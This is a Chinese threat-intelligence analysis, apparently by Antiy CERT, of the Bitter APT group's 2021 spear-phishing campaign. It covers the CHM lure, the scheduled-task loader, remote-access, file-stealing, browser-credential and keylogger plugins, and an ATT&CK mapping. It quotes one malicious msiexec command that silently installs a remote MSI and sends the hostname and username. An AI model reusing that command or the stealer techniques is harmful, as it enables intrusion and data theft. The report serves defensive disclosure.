1、概述
近期,安天CERT在梳理安全事件时,发现一批针对我国军工、贸易和能源等领域的网络攻击活动。攻击手法存在伪造身份向目标发送鱼叉邮件,投递恶意附件诱导受害者运行。经归因分析发现,这批活动具备APT组织“苦象”[1]的历史特征,且在针对目标、恶意代码和网络资产等层面均存在关联,属于“苦象”组织在2021年上半年的典型攻击模式。相关攻击活动的特征总结如下:
表1-1 攻击活动特征
此外,安天CERT还跟踪、关联到“苦象”组织上半年使用过的多个窃密插件,其攻击技术和代码功能均带有该组织的明显特征,在关联分析章节我们将对asms和sthost两个典型插件进行分析。
2、事件分析
2.1 初始诱饵分析
攻击者会以“会议议程”等邮件主题,伪造受害者可能感兴趣的发件人向目标连续投递多封鱼叉邮件,邮件附件中包含恶意的CHM文件,案例如图:
图2-1 附件压缩包中的内容
表2-1 样本标签
“会议议程.chm”为包含恶意脚本的Windows帮助文件,静态属性皆不可用,点击执行后看到的正文为空白:
图2-2 CHM文件的正文及属性
此刻,其含有的经混淆的恶意脚本被自动运行,作用是添加一个每15分钟运行一次的系统任务计划:
图2-3 CHM文档包含的恶意脚本
任务计划名为“DefenderService”,操作对象为以msiexec命令运行远程的MSI文件,过程完全静默且不重启系统,同时提交本机的主机名和用户名:
%coMSPec% /c start /min msiexec /i http://***.com/***/crt.php?h=%computername%*%username% /qn /norestart
攻击者疑似会针对目标选择性下发CERT.msi的文件内容。CERT.msi负责向以下目录释放下载器模块winupd.exe,下载器模块功能是从C2服务器获取一系列的功能插件,保存在同一目录下:
C:Users***AppDataRoamingMicrosoftWindowsSendTo
在观察到的案例中,陆续功能插件的选取和部署过程约在半小时内完成。
表2-2恶意文件信息列表
2.2 部署插件分析
远控插件1:
插件名称:MtMpEnq.exe
MD5: EF099D5FE4075132BF3812C9D5FFA8F9
功能简介:该样本是一个远控。主要功能是对文件进行浏览、传输。也可以执行cmd命令。
C2地址为45.11.***.***,端口34318:
图2-4 远控插件1硬编码的C2
表2-3 远控插件1控制指令
远控插件2:
插件名称:mtAdvanced4.exe
MD5: BD054C4F43808EF37352F36129BF0C3D
功能简介:该样本是一个远控。主要功能是对文件进行浏览、传输。也可以执行cmd命令。
C2地址为45.11.***.***,端口80:
图2-5 远控插件2硬编码的C2
表2-4 远控插件2控制指令
文件窃取插件:
插件名称:sysmgr.exe
MD5: ade9a4ee3acbb0e6b42fb57f118dbd6b
功能简介:窃取本机文件,将文件数据POST回攻击者服务器。
选取以下后缀的文件:
表2-5 指定的文件窃取对象
C2:http://***.net/UihbywscTZ/45Ugty845nv7rt.php,80端口
图2-6 文件窃密插件的上传流量
浏览器凭证窃密插件:
插件名称:mvrs_crsh.exe
MD5: 7ABCCA95BC9C69D93BE133F6597717C0
功能简介:获取火狐和谷歌浏览器保存的用户名和密码,保存在文件“en-GB-4-0.txt”。
图2-7 浏览器窃密插件的窃取对象
键盘记录插件:
插件名称:scvhost.exe
MD5: 578918166854037CDCF1BB3A06A7A4F3
功能简介:该程序被加入系统注册表中的Run启动项,用于记录目标机器上的按键行为,并将按键信息先写入临时缓冲文件“syslog0812AXbcW.tean”,然后汇入最终的存储文件“syslog0812AXbcW.neat ”。.neat 文件中的数据最终会被攻击者下发的文件窃取类插件如sysmgr.exe搜寻并上传。
注册键盘钩子,记录按键:
图2-8 击键窃密插件的按键记录功能
检测到“ctrl+v”后读取剪贴板内容:
图2-9 击键窃密插件的剪贴板记录功能
将监控到的按键信息写入文件“syslog0812AXbcW.tean”:
图2-10 击键窃密插件的数据保存位置
记录文件加密方法为每个字节加0x14(解密时每个字节减0x14):
图2-11 击键窃密插件的数据加密方法
3、关联分析
安天CERT通过代码特点、技术手法和向量特征等技术进行关联分析,发现“苦象”组织使用过的数个功能插件,其中多数用于在目标机器上进行窃密作业。本章披露的asms和sthost插件与2.2章节提及的文件窃密插件sysmgr.exe在功能代码设计上十分相近,攻击者以相同逻辑实现类似的文件筛选、过滤、记录等窃密功能,在规避检测方面也使用十分相同的技术方法。
3.1 asms插件分析
表3-1 窃密样本标签
该插件是“苦象”组织窃取信息的木马,其主要功能为窃取主机硬盘驱动器中doc、docx、ppt、pptx、xls、pdf、zip、txt以及apk等类型的文件,同时该窃密木马还会探测主机是否存在光盘驱动器,如果存在,则将光盘驱动器中存在的所有文件也回传至攻击的服务器。
当木马在主机中运行时,首先会进行休眠操作,休眠的秒数由其自身随机生成,休眠的目的是为了逃避沙箱的检测。
图3-1 随机休眠3
休眠完成后,木马会在自身所在目录下创建名为“errore.log”、“error1log.txt”的文件,error1log.txt文件作用是储存后续收集的文件信息,而errore.log文件作用是对自身的操作进行标识。
图3-2 创建errore.log图3-3 创建error1log.txt
上述文件创建完成后,木马开始收集主机中不在排除路径列表且符合类型的文件信息,包括文件的完整路径以及文件的创建时间戳。同时,当木马探测到主机中存在光盘驱动器时,木马也会收集光盘驱动器中存在的文件。收集信息完成后,木马则会将收集的文件信息以“创建时间戳_文件路径||” 的形式写入error1log.txt。
图3-4 攻击者需要收集的类型图3-5 需要排除的路径图3-6 收集文件信息图3-7 搜索指定类型文件图3-8 将收集的信息写入error1log.txt图3-9 error1log.txt文件内容
完成收集信息操作后,木马会在当前目录下创建cachex86.tmp,cachex86.tmp的作用是存储由38位随机字符加机器名形成唯一标识符,标识符的作用在于后续回传窃取的信息时对受害主机进行区分。
图3-10 将标识符写入cachex86.tmp文件图3-11 cachex64.tmp
最后,木马会将存储文件信息的error1log.txt以及收集的文件以不加密的方式回传至攻击者的C2服务器。
图3-12 回传收集的信息图3-13 回传error1log.txt的流量图3-14 回传文件的流量
3.2 sthost插件分析
表3-2 窃密样本标签
该插件为窃密类木马,时间戳经过伪造,内部字符串等信息使用AES加密,运行后解密使用。样本会收集主机基本信息回传,收集指定后缀文件路径并记录到文本,然后根据关注的重点路径和文件修改时间进行筛选,最后对筛选的文件进行回传。
样本在主函数中首先对加密字符串进行解密,其加密字符串首先将空格替换成加号,进行base64解码,随后利用内置密码通过使用基于HMACSHA1的伪随机数生成器,实现基于密码的密钥派生,生成AES算法密钥和初始化向量,最终解密字符串,解密算法如下所示:
图3-15 字符串解密
解密出的字符串如下所示:
图3-16 解密结果
样本解密字符串后,进入无限循环,用于获取指定系统信息与文件信息并回传,并且每次获取回传都会间隔较长时间:
图3-17 获取信息回传
回传的系统信息经过简单的凯撒加密,算法如下所示:
图3-18 系统信息加密
在获取信息时,样本自定义了一个Listing的类用于文件信息收集功能,该类初始化结果如下:
图3-19 信息收集Listing类
其中RequiredExtension为需要收集的文件后缀,BlacklistFolder为无需遍历的文件夹名称。最后生成的文件内容格式为“文件路径|ddMMyyyy|HHmmss”,实验环境中如下所示:
图3-20 收集的信息内容和格式
该类还实现了通过文件最后修改时间(100天内)和文件路径进行筛选的功能。
图3-21 根据最后写入时间进行分类图3-22 根据路径进行筛选
最终将筛选出的文件进行上传:
图3-23 上传文件
4、威胁框架视角的攻击映射
本次系列攻击活动共涉及ATT&CK框架中10个阶段的18个技术点,具体行为描述如下表:
表4-1 近期“苦象”组织攻击活动的技术行为描述表
将涉及到的威胁行为技术点映射到ATT&CK框架如下图所示:
图4-1 近期“苦象”组织攻击活动对应ATT&CK映射图
附录:参考连接
[1] “苦象”组织近期网络攻击活动及泄露武器分析
https://www.antiy.com/response/2020
来源:freebuf.com 2021-07-06 14:55:38 by: antiylab
相关推荐: 【爱加密】移动安全在运营商行业的应用与分析 – 作者:爱加密123
近日,天翼网信安全产业联盟发布了总第1期专刊,北京智游网安科技有限公司(爱加密)《移动安全在运营商行业的应用与分析》解决方案成为专刊亮点。作为联盟首批成员单位及重要合作伙伴,爱加密一方面将通过领先的专业技术、优质的服务体系助力电信行业移动应用安全生态的建设;另…
请登录后发表评论
注册